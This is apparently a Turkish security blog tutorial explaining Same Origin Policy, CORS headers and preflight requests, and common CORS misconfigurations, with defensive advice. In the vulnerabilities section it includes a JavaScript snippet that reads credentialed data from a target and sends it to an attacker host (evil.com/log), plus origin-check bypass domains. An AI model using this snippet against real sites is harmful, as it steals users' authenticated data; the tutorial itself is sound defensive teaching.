CORS Nedir?
Cross-Origin Resource Sharing (CORS)
Herkese Selam :) CORS’un ne olduğuna ve hatalı yapılandırılması durumunda ne gibi güvenlik problemlerine yol açabileceği gibi konulara olabildiğince değinmek istiyorum. Ama tabi ki CORS’un ne olduğuna geçmeden önce Same Origin Policy nedir ondan bahsetmek daha doğru olacaktır.
Same Origin Policy (SOP)
SOP, tarayıcılar (browser) tarafından yüklenen kaynaklarının, birbirleriyle olan paylaşımlarını/ilişkilerini belirli kurallar çerçevesinde kısıtlayan bir politikadır. Tarayıcılar tarafından, geliştirilen bir güvenlik mekanizmasıdır. Gelişen web teknolojisinin beraberinde getirdiği işlevsellik bir taraftan da güvenlik problemlerinin önünü açmış oldu. Bu noktada tarayıcılar, SOP adı verilen ve tüm modern tarayıcılar tarafından kabul edilip, desteklenen politikayı öne sürdüler.
SOP politikasına göre, yüklenen her bir kaynak;
- Şema/Protokol
- Domain
- Port (Bağlantı noktası)
birleşimi ile origin olarak tanımlanmakta ve sadece aynı origine sahip kaynaklar birbirleri ile paylaşıma geçebilmektedir.
Örnek olarak, https://test.com/ornek/index.html origini üzerinden ilerleyelim;
- https://test.com/ornek2/index.html → Aynı origin (Sadece dosya yolu farklı)
- http://test.com/ornek/index.html → Farklı origin (Protokol farklı)
- https://www.test.com/ornek/index.html → Farklı origin (Domain farklı)
- https://test.com:8080/ornek/index.html → Farklı origin (Port farklı)
Internet Explorer’da SOP politikasında bir istisna bulunmaktadır. IE tarayıcısında, port (bağlantı noktası) origin kontrolüne dahil edilmez.
Örnek olarak, IE tarayıcısında aşağıdaki iki adres aynı origine sahiptir;
- https://test.com/ornek/index.html
- https://test.com:8080/ornek/index.html
SOP, farklı originlerinin birbirine istek atmasının önüne geçmez, farklı bir originden dönen cevabın okunmasını engeller.
Eğer, SOP kısıtlaması olmasaydı, zararlı bir sayfayı ziyaret ettiğimizde, o an oturumumuzun açık olduğu bir sayfadaki bilgilerimizin okunabilmesine izin verilecekti. Örneğin, Facebook’ta oturumumuz açık durumda iken kötü niyetli bir sayfayı ziyaret ettiğimizi düşünün ve o sayfa üzerinden Facebook mesajlarımızın okunabilmesine olanak tanıyacaktı. Tabi bu bir örnek, yapılacak olan eylem, hayal gücüne bağlı :)
Cross-Origin Resource Sharing (CORS)
SOP nedeniyle, başka bir origin üzerinden, başka bir origine yapılan XMLHttpRequest isteklerde dönen cevabın okunamaması geliştiriciler tarafından bir takım sorunlara sebep oluyordu. Zamanla, JSONP (JSON Padding) ile bu kısıtlama aşılsa da, bu yöntemle yazma işlemi yapılamaması sebebiyle tarayıcılar, Cross-Origin Resource Sharing (CORS) mekanizmasını kullanmaya başladı.
Uygulamaların, farklı originler (alt alan adları veya üçüncü taraf kaynaklar) ile etkiletişime geçme ihtiyacı nedeniyle CORS, SOP’un getirmiş olduğu katı kuralları, kontrollü bir şekilde hafifletmek için kullanılmaktadır.
CORS, SOP kısıtlamasını esneten bir yapılandırmadır. Bu sebeple, dikkat edilmesi gereken bir konudur. Hatalı yapılandırılması durumunda, güvenlik problemlerine neden olacaktır.
Tarayıcılar, CORS işlemlerini HTTP başlık bilgileri üzerinden yürütmektedir. CORS ile, A origini üzerinden B originine XMLHttpRequest ile istek yapıldığında, A’nin origin bilgisi yapılan HTTP isteğindeki “Origin” başlık bilgisi ile gönderilir. Ardından, B origininden dönen yanıtta “Access-Control-Allow-Origin” başlık bilgisi ile izin verilen originler belirtilir. A origini, B’nin izin verdiği originler arasında yer alıyorsa, herhangi bir problem yoktur ve işlem gerçekleşir. Ancak, izin verilen originler arasında A origini yer almıyorsa, tarayıcı bu işlemi engeller.
Örnek olarak, https://origin1.com origini üzerinden https://origin2.com adresine yapılan istek ve cevap aşağıdaki gibidir;
İstek:
GET /test/ornek.json HTTP/1.1
Host: origin2.com
Origin: https://origin1.com
...
Cevap:
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2020 00:23:53 GMT
Server: Apache
Access-Control-Allow-Origin: https://origin1.com
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: application/json{JSON Veri}
CORS ile çapraz originler arasında istekler yapılırken, bazı durumlar için preflighted adı verilen ön kontrol istekleri yapılır. Bu ön kontrol istekleri sonucunda izin verilen yanıtlar döndüğü takdirde tarayıcı tarafından asıl istek yapılır.
CORS istekleri, Simple Request ve Preflight Request olmak üzere iki türden oluşur.
Simple Request
Ön kontrol isteğine gerek duyulmayan CORS istekleridir. CORS istekleri yapılırken, isteğin simple request olarak tanımlanması için gerekli şartlar aşağıdaki gibidir;
Metot olarak;
- GET
- HEAD
- POST
Otomatik olarak eklenen başlık bilgileri (Connection, User-Agent gibi) dışında, aşağıdaki başlık bilgilerinin yer alması durumunda;
- Accept
- Accept-Language
- Content-Language
- Content-Type (bir sonraki maddeki şartlar dahilinde)
- DPR
- Downlink
- Save-Data
- Viewport-Width
- Width
Content-Type olarak;
- application/x-www-form-urlencoded
- multipart/form-data
- text/plain
Preflighted Request
Preflight requestler, simple requestlerin aksine asıl istek yapılmadan bir ön kontrol isteği yapılma esasına dayanır. Ön kontrol isteği, OPTIONS metodu ile yapılan ve yapılması istenilen işlemin izinli olup, olmadığını kontrol eden istektir. Eğer, talep edilen işlem izinli ise asıl isteğe geçilir, izinli değil ise tarayıcı tarafından engellenir.
CORS istekleri yapılırken, isteğin preflighted request olarak tanımlanması için gerekli şartlar aşağıdaki gibidir;
Metot olarak;
- GET, HEAD veya POST metodu dışındaki metotların kullanımı (PUT, DELETE gibi)
Otomatik olarak eklenen başlık bilgilerinin yanı sıra özel olarak eklenen başlık bilgisi bulunması durumunda
Content-Type olarak;
- application/x-www-form-urlencoded, multipart/form-data veya text/plain dışındaki bir content-type’in kullanılması durumunda (Örneğin, application/json gibi)
Örnek olarak, https://origin1.com origini üzerinden https://origin2.com originine PUT isteği yapalım ve gönderilecek istekte X-TEST-HEADER adında özel bir başlık bilgisi yer alsın;
İstek-1 (Preflighted request):
OPTIONS /test/ornek.json HTTP/1.1
Host: origin2.com
Origin: https://origin1.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-TEST-HEADER, Content-Type
...
Cevap-1:
HTTP/1.1 204 No Content
Date: Mon, 01 Dec 2020 00:23:53 GMT
Server: Apache
Access-Control-Allow-Origin: https://origin1.com
Access-Control-Allow-Methods: PUT, GET, OPTIONS
Access-Control-Allow-Headers: X-TEST-HEADER, Content-Type
Access-Control-Max-Age: 86400
Vary: Accept-Encoding, Origin
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
İstek-2:
PUT /test/ornek.json HTTP/1.1
Host: origin2.com
Origin: https://origin1.com
X-TEST-HEADER: CorsTest
Content-Type: application/json; charset=UTF-8
...{JSON Veri}
Cevap-2:
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2020 01:15:40 GMT
Server: Apache
Access-Control-Allow-Origin: https://origin1.com
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 235
Keep-Alive: timeout=2, max=99
Connection: Keep-Alive
Content-Type: application/json{JSON Veri}
İlk olarak (İstek-1'de görüldüğü gibi) yapılacak istek, preflighted request olarak tanımlandığı için OPTIONS metodu ile işlem yapılacak origin üzerinde kabul edilip, edilmediğini kontrol edildi. Origin1.com origini üzerinden istek yapıldığı için gönderilen isteğin başlığına, “Origin” başlık bilgisi ile hangi origin üzerinden işlem yapılacağı bilgisi eklendi. Yapılan istekte ek olarak, “Access-Control-Request-Method” ve “Access-Control-Request-Headers” başlık bilgileri de yer alıyor.
Access-Control-Request-Method başlık bilgisi üzerinden, asıl istek yapılacağında hangi HTTP metodu ile işlem yapılacağı belirtilir. (Örneğimizdeki PUT metodu)
Access-Control-Request-Headers başlık bilgisi üzerinden, asıl istek yapılacağında özel olarak eklenecek başlık bilgileri belirtilir. (Örneğimizdeki X-TEST-HEADER)
Dönen cevabı inceleyelim (Cevap-1);
Access-Control-Allow-Origin başlık bilgisi üzerinden, izin verilen origin bilgisi döndürüldü.
Access-Control-Allow-Methods başlık bilgisi üzerinden, izin verilen metotların bilgisi döndürüldü.
Access-Control-Allow-Headers başlık bilgisi üzerinden, asıl istekte gönderilecek olan, hangi özel başlık bilgilerine izin verildiği belirtilir.
Access-Control-Max-Age başlık bilgisi üzerinden, başka bir CORS isteği yapılması durumunda yeni bir ön kontrol isteği yapılmaması için tarayıcı tarafından ön belleğe alınacak zamanı saniye cinsinden belirtir.
Dönen cevaptan (Cevap-1) yapılacak olan çapraz-origin isteğinin kabul edilebilir olması yanıtı üzerine tarayıcı, asıl isteği (İstek-2) yapar.
CORS istekleri yapılırken bir diğer önemli nokta, kimlik bilgilerinin isteklere nasıl dahil edileceği konusudur. XMLHttpRequest’in kimlik bilgileri içeren çapraz-origin istekleri yapabilme becerisi vardır. Varsayılan olarak, yapılan XMLHttpRequest isteklerinde tarayıcılar kimlik bilgilerini isteklere dahil etmez. Bunun için XMLHttpRequest ile istek yapılırken, “withCredentials” eklenerek, kimlik bilgilerinin dahil edilmesi sağlanabilir. Tabi bu noktada, sunucu tarafından dönen yanıtta “Access-Control-Allow-Credentials: true” başlık bilgisi ile kabul edilebilir olduğunun belirtilmiş olması gerekiyor. Eğer, bu başlık bilgisi yanıtta yer almıyorsa, tarayıcı bu isteği reddedecektir.
CORS Kaynaklı Zafiyetler
Yazının başında da belirttiğim gibi CORS, SOP politikasını esnetmesinden dolayı hatalı bir şekilde yapılandırılması, güvenlik zafiyetlerine yol açacaktır. CORS’un güvensiz yapılandırılması, çapraz-originler üzerinden uygulamayı tehlikeye sokacaktır.
Burada, ufak bir not düşmekte fayda var. CORS’un, Cross-site Request Forgery (CSRF) gibi saldırılarına karşı koruma sağlayan bir mekanizma olmadığı unutulmamalıdır.
Gönderilen origin bilgisinin, Access-Control-Allow-Origin başlık bilgisinin içerisinde yer alma durumu;
İstek:
GET /test/ornek.json HTTP/1.1
Host: test.com
Origin: https://evil.com
Cookie: sessionId=blablabla
...
Cevap:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
...{JSON Veri}
Bu örnekte, originin kontrol edilmemesi yani rastgele origin adreslerine izin verilmesi ayrıca “Access-Control-Allow-Credentials” ile kimliği doğrulanmış içeriklerinin talep edilebilir olması en tehlikeli durumu oluşturmaktadır. Bu durumda, hedeflenen originin, rastgele originlere güvenmesi ve çapraz-isteklerde oturum bilgilerinin içerebilmesine izin verildiği için yanıt, kimliği doğrulanmış kişinin oturumunda işletilecektir.
Sonuç olarak, saldırgan kendi kontrolünde olan sayfaya (evil.com) aşağıdaki scripti dahil etmesiyle, hedeflediği sayfa (vulnerable.com) üzerindeki kimliği doğrulanmış içeriği okuyabilecektir.
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable.com/sensitive-data',true);
req.withCredentials = true;
req.send();function reqListener() {
location='//evil.com/log?key='+this.responseText;
};
Origin bilgisinin hatalı bir şekilde kontrol edilme durumu;
Örneğin, test.com adresi tüm alt alan adlarına veya başka harici originlere izin vermek isteyebilir. CORS istekleri için izin verilecek originlerin, hatalı bir şekilde kontrol edilmesi (URL öneki, soneki veya regex ile), istenilmeyen originlerin erişimlerine izin verebilir.
Örnek olarak, test.com origininin, test.com adresi ile biten originlere izin verildiğini düşünelim. Bu durumda, kötü niyetli bir kişi aşağıdaki gibi bir domain alarak, bu kontrolü geçecektir.
evil-test.com
Yada, test.com origininin, test.com adresi ile başlayan originlere izin verildiğini düşünelim. Bu durumda, kötü niyetli bir kişi aşağıdaki gibi bir domain alarak, bu kontrolü geçecektir.
test.com-evil.com
Wildcard (*) kullanımı durumunda;
Yaygın olarak yapılan hatalardan birisi CORS hatası alınması sonrasında, originlerin kontrol edilme konusuna özen gösterilmeyip, wildcard (*) olarak izin verilmesidir. Bu durum, tüm originlere izin verilmesi anlamına geleceği için oldukça tehlikelidir.
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Tarayıcılar, “Access-Control-Allow-Origin” başlığının wildcard (*) olarak tanımlanması durumunda, “Access-Control-Allow-Credentials” başlığı “true” olarak belirtilmiş olsa bile kimlik bilgilerini eklemeyecektir. Böylece, çapraz-origin isteği yapılması durumunda, kimliği doğrulanmış içerik dönmesini engelleyecektir. Aslında, kimliği doğrulanmamış içeriğin dönmesi, saldırganın doğrudan o origine istek yaparak görebileceği cevap olacaktır. Kötüye kullanım açısından bakıldığında, etkisi azalsa da, hatalı bir kullanım olduğu gerçeğini değiştirmemektedir.
Saldırganın, doğrudan erişim sağlayamadığı bir senaryo düşünelim. Örneğin, çapraz-origin isteği yapmak istediğiniz origin üzerinde IP bazlı bir kısıtlama veya yerel ağda yer alması gibi bir durum söz konusu olsun, bu durumda hedeflenen kişinin tarayıcısı, bir nevi proxy görevinde kullanılarak, saldırganın yanıtı okunabilmesine izin verecektir.
Güvenilen bir originde Cross-site Scripting (XSS) problemi;
CORS’un uygun bir şekilde yapılandırıldığını düşünelim. Örneğin, https://test.com origini, alt alan adı olan https://vuln.test.com originini güvenilen kaynaklarına eklemiş olsun. Güvenilen origin, XSS zafiyetinden etkileniyorsa, saldırgan hazırladığı script’i XSS ile enjekte ederek, güvenen origin üzerinden, hassas bilgileri okuyabilir veya kendi kontrolünde olan bir sayfaya gönderilmesini sağlayabilir.
Şema/Protokolün Kısıtlanmaması;
Origin kontrolü sırasında, şema/protokol bilgisinin kontrol edilmemesi, yaygın olarak yapılan hatalardan bir diğeridir. Örneğin, https://test.com origini HTTPS üzerinden hizmet veriyor olsun. Güvenilen originler arasında da http://vuln.test.com origininde HTTP iletişim sağlayan bir alt alan adının olduğunu düşünelim. Bu durumda, saldırgan ortadaki adam saldırısı (MiTM) üzerinden HTTPS kullanımını atlatarak, hassas verileri okuyabilir.
Bu konu ile ilgili, James Kettle tarafından yapılan “Exploiting CORS Misconfigurations For Bitcoins And Bounties” adlı sunumu izlemenizi öneririm.
Korunma Yöntemleri
- Eğer, uygulamanız hassas veriler içeriyorsa, Access-Control-Allow-Origin başlık bilgisiyle sadece güvenilen kaynaklara izin verilecek şekilde yapılandırılmalıdır. Yerel ağlarda dahil olmak üzere wildcard (*) kullanılmamalıdır.
- Access-Control-Allow-Origin başlık bilgisi “null” ifadesini desteklemektedir. Ancak, güvenilen origin beyaz listenizde null ifadesi kullanılmamalıdır.
- CORS’un tarayıcı tarafında bir mekanizma olduğu unutulmamalıdır. Sunucu tarafında hassas bilgilerin korunmasına yönelik bir çözüm sağlamaz. Bu sebeple, uygun bir şekilde CORS yapılandırmasına ek olarak, kimlik doğrulama ve oturum yönetimi gibi konularında uygulanması gerekmektedir.